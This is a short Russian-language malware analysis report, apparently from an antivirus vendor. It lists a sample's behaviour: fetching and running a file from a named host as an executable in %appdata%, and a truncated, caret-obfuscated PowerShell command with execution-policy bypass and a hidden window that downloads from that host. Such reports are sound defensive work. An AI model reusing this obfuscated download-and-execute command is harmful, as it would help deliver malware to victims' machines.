Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://cometogod.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "PO^weR^shELL.^Ex^E ^-ex^E^Cutio^nPOliCy^ ^B^Y^P^A^Ss ^-No^p^rOFi^l^E -wiND^O^wST^y^lE^ ^hi^DdEN (n^e^w-^obj^EC^t syst^em^.NE^T.weB^CL^I^en^t).^DowN^l^Oa^Dfi^L^e(^'http://comet...
Сетевая активность
UDP
- DNS ASK co###ogod.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "PO^weR^shELL.^Ex^E ^-ex^E^Cutio^nPOliCy^ ^B^Y^P^A^Ss ^-No^p^rOFi^l^E -wiND^O^wST^y^lE^ ^hi^DdEN (n^e^w-^obj^EC^t syst^em^.NE^T.weB^CL^I^en^t).^DowN^l^Oa^Dfi^L^e(^'http://comet...' (со скрытым окном)
